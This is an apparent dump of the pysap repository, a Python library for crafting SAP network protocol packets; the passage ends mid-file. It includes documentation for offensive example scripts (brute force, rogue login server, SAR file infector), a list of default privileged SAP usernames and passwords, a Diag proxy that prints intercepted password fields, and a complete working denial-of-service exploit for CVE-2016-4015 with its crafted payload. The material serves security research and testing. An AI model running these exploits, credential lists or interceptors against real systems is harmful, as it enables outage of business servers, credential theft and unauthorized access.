| 28 | 29 | ``diag_interceptor`` 30 | -------------------- 31 | 32 | This example script is aimed at demonstrating the use of the ``SAPNIProxy`` and ``SAPNIProxyHandler`` 33 | interfaces. It can be used to establish a proxy between a SAP GUI client and a SAP Netweaver 34 | Application Server and inspect the traffic via the ``filter_client`` and ``filter_server`` functions. 35 | 36 | The given example implements a simple function that grabs input fields sent by the client and prints 37 | them. 38 | 39 | 40 | ``diag_login_brute_force`` 41 | -------------------------- 42 | 43 | This example script can be used to perform a brute force attack against a SAP Netweaver 44 | application server. The scripts performs a login through the Diag protocol, by submitting 45 | username and passwords to the login screen. It can also be used to discover available clients. 46 | 47 | Usernames, passwords and SAP clients to test can be provided as individual files (using 48 | ``--usernames``, ``--passwords`` and ``--clients`` command line options), in which case the 49 | script will calculate and test the combination of those, or provided in a credentials file 50 | (via the ``--credentials`` parameter). The credential file is expected to have a format 51 | containing ``username:password:client`` and blank lines or lines starting with the ``#`` are 52 | ignored. 53 | 54 | Clients discovery can be also performed as a firs step of the brute-force attack, by specifying 55 | the ``--discovery`` option and providing a list of clients to test using the ``--discovery-range`` 56 | parameter. 57 | 58 | Testing of the credentials can be performed using multiple parallel threads using the ``--threads`` 59 | parameter as a way to increase performance. 60 | 61 | A list of default credentials and their associated default clients is also provided in the 62 | ``examples/default_sap_credentials`` file. This credentials file can be used to perform basic 63 | checks. 64 | 65 | Note that as error responses might vary across versions it might be possible that the script 66 | generates false positive. In addition, it should be noted that there's no mechanism implemented 67 | to prevent the lockout of user accounts if the server is configured with a lockout policy. Use 68 | with care and at your own risk. 69 | 70 | Finally, the ``login/show_detailed_errors`` parameter can be configured to ``FALSE`` in the SAP 71 | Application Server to avoid disclosing information about whether a client exists or not, and 72 | to avoid returning information about existent users. For more information see 73 | `SAP Security Note 1823687 `_. 74 | 75 | If the parameter is configured to ``FALSE``, the results of the discovery will be flawed, with 76 | probably a large set (if not all) of clients invalidly reported as existent. The same false 77 | positives will be reported for user names validity. The finding of valid credentials is not 78 | affected thought. 79 | 80 | 81 | ``diag_login_screen_info`` 82 | -------------------------- 83 | 84 | This example script can be used to gather information provided by a SAP Netweaver Application 85 | Server during the login process. This information includes generally hostname, instance, database 86 | name, language and other technical information about the application server. 87 | 88 | 89 | ``diag_render_login_screen`` 90 | ---------------------------- 91 | 92 | This example script is a proof of concept of how the library can be used to obtain and interpret 93 | the screen components and fields provided by an SAP Netweaver Application Server. It takes the 94 | login screen presented by the application server and renders it using ``wxPython`` widgets and user 95 | interface components. Take into account that not all field types and Diag protocol packets 96 | are completely implemented in the library, and that those change from version to version. 97 | 98 | 99 | ``diag_rogue_server`` 100 | --------------------- 101 | 102 | This example script is a proof of concept that implements a rogue server using the SAP Diag protocol. 103 | It offers users a customizable login screen and gathers credentials provided by the clients 104 | connecting to it. A basic interaction is implemented that allows for the user to introduce the 105 | credentials and then returns a generic error message. 106 | 107 | Tested with SAP Gui for Java 7.20 Patch Level 5 running on Ubuntu. 108 | -------------------------------------------------------------------------------- /docs/examples/dlmanager.rst: -------------------------------------------------------------------------------- 1 | .. Download Manager example scripts 2 | 3 | Download Manager scripts 4 | ======================== 5 | 6 | ``dlmanager_decrypt`` 7 | --------------------- 8 | 9 | This example script extract SAP's Download Manager stored passwords. For SAP Download Manager 10 | versions before ``2.1.140a``, stored passwords were kept unencrypted. For versions between 11 | ``2.1.140a`` and ``2.1.142``, the script should be able to decrypt the password given possible 12 | to obtain the machine serial number. 13 | 14 | The input of the script is the file stored by the SAP Download Manager program, which uses the 15 | Java serialization encoding. 16 | 17 | The script can attempt to retrieve the machine serial number when running on Windows, if 18 | provided with the ``--retrieve-serial-number`` option. For other platforms it must need to be 19 | provided by the ``--serial-number`` parameter. 20 | 21 | For more details on the encryption mechanism see 22 | `CVE-2016-3685 `_ and 23 | `CVE-2016-3684 `_ documented in the 24 | `SAP Download Manager Password Weak Encryption security advisory `_. 25 | 26 | 27 | ``dlmanager_infector`` 28 | ---------------------- 29 | 30 | The SAP Download Manager infector script is a proof of concept to demonstrate the risk of not 31 | validating SAR file signatures. The script can be used to infect a given ``SAR`` ``v2.00`` or 32 | ``v2.01`` file by means of adding new files to it. Each file to infect is specified by a pair: 33 | ``filename`` (original filename) and ``archive filename`` (the name we want inside the archive). 34 | The script can also be used to dynamically infect ``SAR`` files being downloaded using ``mitmproxy``. 35 | In that case, the scripts takes the files to inject as parameters, performs an ``SSLStrip``-like 36 | MitM and when identifies a ``SAR`` file that is going to be offered as a download it infects it. 37 | 38 | For more details about the exemplified attack vector see the `Deep-dive into SAP 39 | archive file formats `_ 40 | presentation at Troopers' 2016. 41 | -------------------------------------------------------------------------------- /docs/examples/enqueue.rst: -------------------------------------------------------------------------------- 1 | .. Enqueue example scripts 2 | 3 | Enqueue Example scripts 4 | ======================= 5 | 6 | ``enqueue_dos_exploit`` 7 | ----------------------- 8 | 9 | This example script can be used to tests against a Denial of Service vulnerability affecting 10 | the Enqueue service (`CVE-2016-4015 `_). 11 | For more details about the vulnerability see 12 | `ERPScan's Security Advisory `_. 13 | 14 | This example script was contributed by `Vahagn Vardanyan `_. 15 | 16 | 17 | ``enqueue_monitor`` 18 | ------------------- 19 | 20 | This script is an example implementation of SAP's Enqueue Server Monitor program (``ens_mon``). 21 | It allows the monitoring of a Enqueue Server service and allows sending different admin commands 22 | and opcodes. Includes some commands not available on the ``ensmon`` program. 23 | 24 | The script implements a console-like interface that can be used to specify the operations to 25 | perform on the Enqueue Server. A list of implemented commands can be obtained by running ``help``. 26 | -------------------------------------------------------------------------------- /docs/examples/gw.rst: -------------------------------------------------------------------------------- 1 | .. Gateway example scripts 2 | 3 | Gateway Example scripts 4 | ======================= 5 | 6 | ``gw_monitor`` 7 | -------------- 8 | 9 | XXX 10 | -------------------------------------------------------------------------------- /docs/examples/hdb.rst: -------------------------------------------------------------------------------- 1 | .. HDB example scripts 2 | 3 | HANA SQL Command Network Protocol Example scripts 4 | ================================================= 5 | 6 | ``hdb_discovery`` 7 | ----------------- 8 | 9 | This example script can be used to perform discovery of HANA database tenants. The scripts connects 10 | to a given HANA instance, usually the ``SYSTEMDB``, and tries a list of tenant database names. The 11 | list can be provided either directly from the command line or from a file, and the script will return 12 | the result from sending a ``DBCONNECTINFO`` packet. If the database tenant exists, it will include 13 | the IP address and the port number, in addition to whether the tenant is connected to the master index 14 | server or not. 15 | 16 | 17 | ``hdb_auth`` 18 | ------------ 19 | 20 | This example script is an experimental implementation of the HANA's ``hdbsql`` tool. It focuses on 21 | the authentication and connection to the HANA server, and it't not meant to implement the full 22 | capabilities offered by ``hdbsql`` or any other HDB client interface. 23 | 24 | The supported authentication mechanisms are: 25 | 26 | * ``SCRAMSHA256``: username and password should be provided. 27 | * ``SCRAMPBKDF2SHA256``: username and password should be provided. 28 | * ``JWT``: a JWT can be provided as an input file or a ``JWT`` can be generated if a certificate 29 | file and an issuer is provided via command line. Generating a ``JWT`` requires the ``PyJWT`` 30 | library to be installed. 31 | * ``SAML``: a SAML bearer assertion can be provided as an input file. 32 | * ``SessionCookie``: a session cookie obtained from a previous ``SAML`` authentication can be 33 | provided. 34 | 35 | In addition, the connection can optionally be established using ``TLS``. When ``TLS`` is enabled, 36 | by default the server's certificate is trusted and hostname validation is not performed. Those 37 | options can be enabled using the ``--tls-no-trust-cert`` and ``--tls-check-hostname`` parameter. 38 | The tool will make its try to use the operative system certificate store, as available to 39 | Python's ``ssl`` library, but a custom certificate file can be provided via the 40 | ``--tls-cert-file`` parameter. 41 | -------------------------------------------------------------------------------- /docs/examples/igs.rst: -------------------------------------------------------------------------------- 1 | .. Internet Graphic Service example scripts 2 | 3 | Internet Graphic Service Example scripts 4 | ======================================== 5 | 6 | ``igs_http_imgconv`` 7 | -------------------- 8 | 9 | This example script demonstrate the use of the ``IGS`` interpreter ``IMGCONV`` through HTTP 10 | listener to convert a provided ``jpg`` file to the ``png`` format with a 100x100 size. 11 | 12 | 13 | ``igs_http_xmlchart`` 14 | --------------------- 15 | 16 | This example script demonstrate the use of the ``IGS`` interpreter through HTTP listener 17 | to generate a simple chart. The input of the chart is provided in ``XML`` format and the 18 | script will print the generated charts' URLs. 19 | 20 | 21 | ``igs_http_zipper`` 22 | ------------------- 23 | 24 | This example script demonstrate the use of the ``IGS`` interpreter ``ZIPPER`` through HTTP 25 | listener to compress an input file to a ``zip`` file. The script will print the generated 26 | ``zip`` files URLs. 27 | 28 | 29 | ``igs_rfc_zipper`` 30 | ------------------ 31 | 32 | This example script demonstrate the use of the ``IGS`` interpreter ``ZIPEER`` through RFC 33 | listener to compress an input file to a ``zip`` file. 34 | -------------------------------------------------------------------------------- /docs/examples/index.rst: -------------------------------------------------------------------------------- 1 | .. Example scripts frontend 2 | 3 | Example scripts 4 | =============== 5 | 6 | This part of the documentation covers the example scripts provided with pysap. 7 | 8 | 9 | .. toctree:: 10 | :maxdepth: 2 11 | :glob: 12 | 13 | * 14 | -------------------------------------------------------------------------------- /docs/fileformats/index.rst: -------------------------------------------------------------------------------- 1 | .. File formats frontend 2 | 3 | File formats 4 | ============ 5 | 6 | This part of the documentation covers the different file formats implemented in pysap and their structures. 7 | 8 | 9 | .. toctree:: 10 | :maxdepth: 2 11 | :glob: 12 | 13 | * 14 | -------------------------------------------------------------------------------- /docs/index.rst: -------------------------------------------------------------------------------- 1 | pysap - Python library for crafting SAP's network protocols packets 2 | =================================================================== 3 | 4 | Version v\ |release| (:ref:`installation`) 5 | 6 | 7 | Overview 8 | -------- 9 | 10 | `SAP Netweaver `_ and 11 | `SAP HANA `_ are technology platforms for 12 | building and integrating SAP business applications. Communication between components 13 | uses different network protocols and some services and tools make use of custom file 14 | formats as well. While some of them are standard and well-known protocols, others 15 | are proprietaries and public information is generally not available. 16 | 17 | `pysap `_ 18 | is an open source Python 2 library that provides modules for crafting and sending packets 19 | using SAP's ``NI``, ``Diag``, ``Enqueue``, ``Router``, ``MS``, ``SNC``, ``IGS``, ``RFC`` 20 | and ``HDB`` protocols. In addition, support for creating and parsing different proprietary 21 | file formats is included. The modules are built on top of `Scapy `_ and 22 | are based on information acquired at researching the different protocols, file formats 23 | and services. 24 | 25 | 26 | Features 27 | -------- 28 | 29 | * Dissection and crafting of the following network protocols: 30 | 31 | * SAP Network Interface (``NI``) 32 | * SAP ``Diag`` 33 | * SAP ``Enqueue`` 34 | * SAP ``Router`` 35 | * SAP Message Server (``MS``) 36 | * SAP Secure Network Connection (``SNC``) 37 | * SAP Internet Graphic Server (``IGS``) 38 | * SAP Remote Function Call (``RFC``) 39 | * SAP HANA SQL Command Network (``HDB``) 40 | 41 | * Client interfaces for handling the following file formats: 42 | 43 | * SAP ``SAR`` archive files 44 | * SAP Personal Security Environment (``PSE``) files 45 | * SAP SSO Credential (``Credv2``) files 46 | 47 | * Library implementing SAP's ``LZH`` and ``LZC`` compression algorithms. 48 | 49 | * Automatic compression/decompression of payloads with SAP's algorithms. 50 | 51 | * Client, proxy and server classes implemented for some of the protocols. 52 | 53 | * Example scripts to illustrate the use of the different modules and protocols. 54 | 55 | 56 | User guide 57 | ---------- 58 | 59 | .. toctree:: 60 | :maxdepth: 3 61 | 62 | user/index 63 | protocols/index 64 | fileformats/index 65 | examples/index 66 | 67 | Development guide 68 | ----------------- 69 | 70 | .. toctree:: 71 | :maxdepth: 3 72 | 73 | dev/index 74 | api/index 75 | 76 | 77 | Indices and tables 78 | ------------------ 79 | 80 | * :ref:`genindex` 81 | * :ref:`modindex` 82 | * :ref:`search` 83 | -------------------------------------------------------------------------------- /docs/make.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | REM Command file for Sphinx documentation 4 | 5 | pushd %~dp0 6 | 7 | if "%SPHINXBUILD%" == "" ( 8 | set SPHINXBUILD=sphinx-build 9 | ) 10 | set BUILDDIR=_build 11 | set SOURCEDIR=. 12 | set ALLSPHINXOPTS=-d %BUILDDIR%/doctrees %SPHINXOPTS% %SOURCEDIR% 13 | set I18NSPHINXOPTS=%SPHINXOPTS% %SOURCEDIR% 14 | if NOT "%PAPER%" == "" ( 15 | set ALLSPHINXOPTS=-D latex_elements.papersize=%PAPER% %ALLSPHINXOPTS% 16 | set I18NSPHINXOPTS=-D latex_elements.papersize=%PAPER% %I18NSPHINXOPTS% 17 | ) 18 | 19 | if "%1" == "" goto help 20 | 21 | if "%1" == "help" ( 22 | :help 23 | echo.Please use `make ^` where ^ is one of 24 | echo. html to make standalone HTML files 25 | echo. dirhtml to make HTML files named index.html in directories 26 | echo. singlehtml to make a single large HTML file 27 | echo. pickle to make pickle files 28 | echo. json to make JSON files 29 | echo. htmlhelp to make HTML files and an HTML help project 30 | echo. qthelp to make HTML files and a qthelp project 31 | echo. devhelp to make HTML files and a Devhelp project 32 | echo. epub to make an epub 33 | echo. latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter 34 | echo. text to make text files 35 | echo. man to make manual pages 36 | echo. texinfo to make Texinfo files 37 | echo. gettext to make PO message catalogs 38 | echo. changes to make an overview over all changed/added/deprecated items 39 | echo. xml to make Docutils-native XML files 40 | echo. pseudoxml to make pseudoxml-XML files for display purposes 41 | echo. linkcheck to check all external links for integrity 42 | echo. doctest to run all doctests embedded in the documentation if enabled 43 | echo. coverage to run coverage check of the documentation if enabled 44 | echo. dummy to check syntax errors of document sources 45 | goto end 46 | ) 47 | 48 | if "%1" == "clean" ( 49 | for /d %%i in (%BUILDDIR%\*) do rmdir /q /s %%i 50 | del /q /s %BUILDDIR%\* 51 | goto end 52 | ) 53 | 54 | REM Check if sphinx-build is available and fallback to Python version if any 55 | %SPHINXBUILD% 1>NUL 2>NUL 56 | if errorlevel 9009 goto sphinx_python 57 | goto sphinx_ok 58 | 59 | :sphinx_python 60 | 61 | set SPHINXBUILD=python -m sphinx.__init__ 62 | %SPHINXBUILD% 2> nul 63 | if errorlevel 9009 ( 64 | echo. 65 | echo.The 'sphinx-build' command was not found. Make sure you have Sphinx 66 | echo.installed, then set the SPHINXBUILD environment variable to point 67 | echo.to the full path of the 'sphinx-build' executable. Alternatively you 68 | echo.may add the Sphinx directory to PATH. 69 | echo. 70 | echo.If you don't have Sphinx installed, grab it from 71 | echo.http://sphinx-doc.org/ 72 | exit /b 1 73 | ) 74 | 75 | :sphinx_ok 76 | 77 | if "%1" == "latexpdf" ( 78 | %SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex 79 | cd %BUILDDIR%/latex 80 | make all-pdf 81 | cd %~dp0 82 | echo. 83 | echo.Build finished; the PDF files are in %BUILDDIR%/latex. 84 | goto end 85 | ) 86 | 87 | if "%1" == "latexpdfja" ( 88 | %SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex 89 | cd %BUILDDIR%/latex 90 | make all-pdf-ja 91 | cd %~dp0 92 | echo. 93 | echo.Build finished; the PDF files are in %BUILDDIR%/latex. 94 | goto end 95 | ) 96 | 97 | if "%1" == "gettext" ( 98 | %SPHINXBUILD% -b gettext %I18NSPHINXOPTS% %BUILDDIR%/locale 99 | if errorlevel 1 exit /b 1 100 | goto end 101 | ) 102 | 103 | %SPHINXBUILD% -b %1 %ALLSPHINXOPTS% %BUILDDIR%/%1 104 | goto end 105 | 106 | :end 107 | popd 108 | -------------------------------------------------------------------------------- /docs/protocols/index.rst: -------------------------------------------------------------------------------- 1 | .. Protocols frontend 2 | 3 | Protocols 4 | ========= 5 | 6 | This part of the documentation covers the different network protocols implemented in pysap and their packets. 7 | 8 | 9 | .. toctree:: 10 | :maxdepth: 2 11 | :glob: 12 | 13 | * 14 | -------------------------------------------------------------------------------- /examples/default_sap_credentials: -------------------------------------------------------------------------------- 1 | # Default SAP credentials 2 | # 3 | 4 | # SAP* - High privileges - Hardcoded kernel user 5 | SAP*:06071992:* 6 | SAP*:PASS:* 7 | 8 | # IDEADM - High Privileges - Only in IDES systems 9 | IDEADM:admin:* 10 | 11 | # DDIC - High privileges - User has SAP_ALL 12 | DDIC:19920706:000,001 13 | 14 | # EARLYWATCH - High privileges 15 | EARLYWATCH:SUPPORT:066 16 | 17 | # TMSADM - Medium privileges 18 | TMSADM:PASSWORD:000 19 | TMSADM:$1Pawd2&:000 20 | 21 | # SAPCPIC - Medium privileges 22 | SAPCPIC:ADMIN:000,001 23 | 24 | # SOLMAN dialog default users and passwords. 25 | # 26 | # For more info check: 27 | # https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf 28 | # https://launchpad.support.sap.com/#/notes/2293011 29 | 30 | # SOLMAN_ADMIN - High privileges - Only on SOLMAN systems 31 | SOLMAN_ADMIN:init1234:* 32 | 33 | # SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems 34 | SAPSUPPORT:init1234:* 35 | 36 | # SOLMAN - High privileges - Only on SOLMAN systems 37 | #SOLMAN:init1234:* 38 | 39 | # Trial systems 40 | # ------------- 41 | 42 | # AS ABAP 7.40 SP08 Developer Edition: 43 | # https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/ 44 | DDIC:DidNPLpw2014:001 45 | SAP*:DidNPLpw2014:001 46 | DEVELOPER:abCd1234:001 47 | BWDEVELOPER:abCd1234:001 48 | 49 | # AS ABAP 7.50 SP02 Developer Edition: 50 | # https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/ 51 | # AS ABAP 7.51 SP02 Developer Edition: 52 | # https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/ 53 | DDIC:Appl1ance:000,001 54 | SAP*:Appl1ance:000,001 55 | DEVELOPER:Appl1ance:001 56 | BWDEVELOPER:Appl1ance:001 57 | 58 | # AS ABAP 7.51 SP01 Developer Edition: 59 | # https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/ 60 | # AS ABAP 7.52 SP04 Developer Edition: 61 | # https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/ 62 | DDIC:Down1oad:000,001 63 | SAP*:Down1oad:000,001 64 | DEVELOPER:Down1oad:001 65 | BWDEVELOPER:Down1oad:001 66 | 67 | # SAP CA Introscope Enterprise Manager 68 | # cemadmin password hash acef2c15bcd349db90dffece73e1256e881c4416fc1f2d3a4946418349d9a 69 | cemadmin:quality 70 | # Admin password hash cf25f327d28e3476c61fb03e3266b1fc41b9b35cf07051625bc47abd7fb82fe4 71 | Admin:Admin89 72 | # Guest password hash 8e6ad9bcbdc9b401c641f1747474b48f22be38ad8b1da196d41a60518ce423 73 | Guest:guest12 74 | # sapsupport password hash f18335c36cccfb60f640db4a56c18634949882d2ce8de468fe2c1d0806b778c 75 | sapsupport:(String)null 76 | -------------------------------------------------------------------------------- /examples/diag_interceptor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # encoding: utf-8 3 | # pysap - Python library for crafting SAP's network protocols packets 4 | # 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License 7 | # as published by the Free Software Foundation; either version 2 8 | # of the License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # Author: 16 | # Martin Gallo (@martingalloar) 17 | # Code contributed by SecureAuth to the OWASP CBAS project 18 | # 19 | 20 | # Standard imports 21 | import logging 22 | from argparse import ArgumentParser 23 | # External imports 24 | from scapy.config import conf 25 | from scapy.packet import bind_layers 26 | # Custom imports 27 | import pysap 28 | from pysap.SAPNI import SAPNI, SAPNIProxyHandler, SAPNIProxy 29 | from pysap.SAPDiag import SAPDiag, SAPDiagDP 30 | from pysap.SAPDiagItems import * 31 | 32 | 33 | # Bind the SAPDiag layer 34 | bind_layers(SAPNI, SAPDiag,) 35 | bind_layers(SAPNI, SAPDiagDP,) 36 | bind_layers(SAPDiagDP, SAPDiag,) 37 | bind_layers(SAPDiag, SAPDiagItem,) 38 | bind_layers(SAPDiagItem, SAPDiagItem,) 39 | 40 | 41 | # Set the verbosity to 0 42 | conf.verb = 0 43 | 44 | 45 | def filter_client(packet): 46 | atoms = [] 47 | # Grab all the Atom items in the packet 48 | if SAPDiag in packet: 49 | atoms = packet[SAPDiag].get_item(["APPL", "APPL4"], "DYNT", "DYNT_ATOM") 50 | 51 | # Print the Atom items information 52 | if atoms: 53 | print("[*] Input fields:") 54 | for atom in [atom for atom_item in atoms for atom in atom_item.item_value.items]: 55 | if atom.etype in [121, 122, 123, 130, 131, 132]: 56 | text = atom.field1_text or atom.field2_text 57 | text = text.strip() 58 | if atom.attr_DIAG_BSD_INVISIBLE and len(text) > 0: 59 | # If the invisible flag was set, we're probably 60 | # dealing with a password field 61 | print("[*]\tPassword field:\t%s" % (text)) 62 | else: 63 | print("[*]\tRegular field:\t%s" % (text)) 64 | 65 | # Return the original packet 66 | return packet 67 | 68 | 69 | def filter_server(packet): 70 | # Just return the original packet, server's data is not relevant 71 | # for this example 72 | return packet 73 | 74 | 75 | class SAPDiagProxyHandler(SAPNIProxyHandler): 76 | """ 77 | SAP Diag Proxy Handler 78 | 79 | Handles Diag packets and pass the data to filter functions 80 | """ 81 | 82 | def process_client(self, packet): 83 | # Reprocess the messages using filter_client function 84 | packet = filter_client(packet) 85 | # Return the message 86 | return packet 87 | 88 | def process_server(self, packet): 89 | # Reprocess the packet using filter_server function 90 | packet = filter_server(packet) 91 | # Return the message 92 | return packet 93 | 94 | 95 | # Command line options parser 96 | def parse_options(): 97 | 98 | description = "This example script can be used to establish a proxy between a SAP GUI client and a SAP Netweaver " \ 99 | "Application Server and inspect the traffic via the filter_client and filter_server functions.\n" \ 100 | "The given example grabs input fields sent by the client." 101 | 102 | usage = "%(prog)s [options] -d " 103 | 104 | parser = ArgumentParser(usage=usage, description=description, epilog=pysap.epilog) 105 | 106 | target = parser.add_argument_group("Target") 107 | target.add_argument("-d", "--remote-host", dest="remote_host", 108 | help="Remote host") 109 | target.add_argument("-p", "--remote-port", dest="remote_port", type=int, default=3200, 110 | help="Remote port [%(default)d]") 111 | 112 | local = parser.add_argument_group("Local") 113 | local.add_argument("-b", "--local-host", dest="local_host", default="127.0.0.1", 114 | help="Local address [%(default)s]") 115 | local.add_argument("-l", "--local-port", dest="local_port", type=int, default=3200, 116 | help="Local port [%(default)d]") 117 | 118 | misc = parser.add_argument_group("Misc options") 119 | misc.add_argument("-v", "--verbose", dest="verbose", action="store_true", help="Verbose output") 120 | 121 | options = parser.parse_args() 122 | 123 | if not options.remote_host: 124 | parser.error("Remote host is required") 125 | 126 | return options 127 | 128 | 129 | # Main function 130 | def main(): 131 | options = parse_options() 132 | 133 | if options.verbose: 134 | logging.basicConfig(level=logging.DEBUG) 135 | 136 | print("[*] Establishing a Diag proxy between %s:%d and remote %s:%d" % (options.local_host, 137 | options.local_port, 138 | options.remote_host, 139 | options.remote_port)) 140 | proxy = SAPNIProxy(options.local_host, options.local_port, 141 | options.remote_host, options.remote_port, 142 | SAPDiagProxyHandler) 143 | while True: 144 | proxy.handle_connection() 145 | 146 | 147 | if __name__ == "__main__": 148 | try: 149 | main() 150 | except KeyboardInterrupt: 151 | print("[*] Canceled by the user ...") 152 | exit(0) 153 | -------------------------------------------------------------------------------- /examples/enqueue_dos_exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # encoding: utf-8 3 | # pysap - Python library for crafting SAP's network protocols packets 4 | # 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License 7 | # as published by the Free Software Foundation; either version 2 8 | # of the License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # Author: 16 | # Martin Gallo (@martingalloar) 17 | # Code contributed by SecureAuth to the OWASP CBAS project 18 | # 19 | 20 | """ 21 | vulnerable SAP packages 22 | SAP KERNEL 7.21 32-BIT 23 | SAP KERNEL 7.21 32-BIT UNICODE 24 | SAP KERNEL 7.21 64-BIT 25 | SAP KERNEL 7.21 64-BIT UNICODE 26 | SAP KERNEL 7.21 EXT 32-BIT 27 | SAP KERNEL 7.21 EXT 32-BIT UC 28 | SAP KERNEL 7.21 EXT 64-BIT 29 | SAP KERNEL 7.21 EXT 64-BIT UC 30 | SAP KERNEL 7.22 64-BIT 31 | SAP KERNEL 7.22 64-BIT UNICODE 32 | SAP KERNEL 7.22 EXT 64-BIT 33 | SAP KERNEL 7.22 EXT 64-BIT UC 34 | SAP KERNEL 7.42 64-BIT 35 | SAP KERNEL 7.42 64-BIT UNICODE 36 | SAP KERNEL 7.45 64-BIT 37 | SAP KERNEL 7.45 64-BIT UNICODE 38 | SAP KERNEL 7.46 64-BIT UNICODE 39 | SAP KERNEL 7.47 64-BIT UNICODE 40 | 41 | Well works on Windows and Linux platforms 42 | 43 | 0:009> r 44 | rax=00ffffffffffffff rbx=000000003ca9d9f0 rcx=000000000743f541 45 | rdx=0000000000000001 rsi=0000000000000003 rdi=000000003cae4300 46 | rip=000000013f0cdb75 rsp=000000000743f4b0 rbp=0000000000000000 47 | r8=0000000000000360 r9=0000000000000000 r10=0000000000000132 48 | r11=000000000743f270 r12=000000000743f541 r13=000000003ca9d9f0 49 | r14=0000000000000000 r15=000000013f3d5d00 50 | iopl=0 nv up ei pl nz na po nc 51 | cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 52 | enserver!IOThread::WalkNet+0x575: 53 | 00000001`3f0cdb75 ff10 call qword ptr [rax] ds:00ffffff`ffffffff=???????????????? 54 | """ 55 | 56 | # Standard imports 57 | import logging 58 | from time import sleep 59 | from argparse import ArgumentParser 60 | from socket import error as SocketError 61 | # External imports 62 | from scapy.packet import Raw 63 | from scapy.config import conf 64 | # Custom imports 65 | import pysap 66 | from pysap.SAPEnqueue import SAPEnqueue 67 | from pysap.SAPRouter import SAPRoutedStreamSocket 68 | 69 | 70 | # Set the verbosity to 0 71 | conf.verb = 0 72 | 73 | 74 | # Command line options parser 75 | def parse_options(): 76 | 77 | description = "This example script can be used to tests against CVE-2016-4015 Denial of Service vulnerability" \ 78 | "affecting the Enqueue service. For more details about the vulnerability see Advisory " \ 79 | "https://erpscan.com/advisories/erpscan-16-019-sap-netweaver-enqueue-server-dos-vulnerability/." 80 | 81 | usage = "%(prog)s [options] -d " 82 | 83 | parser = ArgumentParser(usage=usage, description=description, epilog=pysap.epilog) 84 | 85 | target = parser.add_argument_group("Target") 86 | target.add_argument("-d", "--remote-host", dest="remote_host", 87 | help="Remote host") 88 | target.add_argument("-p", "--remote-port", dest="remote_port", type=int, default=3200, 89 | help="Remote port [%(default)d]") 90 | target.add_argument("--route-string", dest="route_string", 91 | help="Route string for connecting through a SAP Router") 92 | 93 | misc = parser.add_argument_group("Misc options") 94 | misc.add_argument("-v", "--verbose", dest="verbose", action="store_true", help="Verbose output") 95 | misc.add_argument("-l", "--loop", dest="loop", action="store_true", 96 | help="Loop until the user cancel (Ctrl+C)") 97 | misc.add_argument("-n", "--number", dest="number", type=int, default=10, 98 | help="Number of packets to send [%(default)d]") 99 | misc.add_argument("-t", "--time", dest="delay", type=int, default=5, 100 | help="Time to wait between each round [%(default)d]") 101 | misc.add_argument("--terminal", dest="terminal", default=None, 102 | help="Terminal name") 103 | 104 | options = parser.parse_args() 105 | 106 | if not (options.remote_host or options.route_string): 107 | parser.error("Remote host or route string is required") 108 | 109 | return options 110 | 111 | 112 | def send_crash(host, port, item, verbose, route=None): 113 | # Create the connection to the SAP Netweaver server 114 | if verbose: 115 | print("[*] Sending crash") 116 | # Initiate the connection 117 | conn = SAPRoutedStreamSocket.get_nisocket(host, port, route, base_cls=SAPEnqueue) 118 | conn.send(item) 119 | 120 | 121 | # Main function 122 | def main(): 123 | options = parse_options() 124 | 125 | if options.verbose: 126 | logging.basicConfig(level=logging.DEBUG) 127 | 128 | print("[*] Testing Enqueue Server CVE-2016-4015 DoS vulnerability on host %s:%d" % (options.remote_host, 129 | options.remote_port)) 130 | 131 | # Crafting the item 132 | payload = Raw("\x06\x01\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x04\x00\x00" 133 | "\x00\x00\x00\x03Vahagn-pc_5276_0\x00\x00\x00\x00\x02\x00\x00\x00;\x00\x00\x00\x05\x00\x00\x00\x03" 134 | "\x00\x00\x00\x06\x00\x00\x00\x04\x00\x00\x00\x01") 135 | item = SAPEnqueue(len_frag=89, id=0, more_frags=129, type=187, dest=243, len=89, opcode=160)/payload 136 | 137 | try: 138 | if options.loop: 139 | try: 140 | while True: 141 | send_crash(options.remote_host, options.remote_port, item, options.verbose, options.route_string) 142 | sleep(options.delay) 143 | except KeyboardInterrupt: 144 | print("[*] Cancelled by the user") 145 | else: 146 | for i in range(options.number): 147 | send_crash(options.remote_host, options.remote_port, item, options.verbose, options.route_string) 148 | sleep(options.delay) 149 | 150 | except SocketError: 151 | print("[*] Connection error, take a look at the enqueue server process !") 152 | 153 | 154 | if __name__ == "__main__": 155 | main() 156 | -------------------------------------------------------------------------------- /examples/gw_monitor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # encoding: utf-8 3 | # pysap - Python library for crafting SAP's network protocols packets 4 | # 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License 7 | # as published by the Free Software 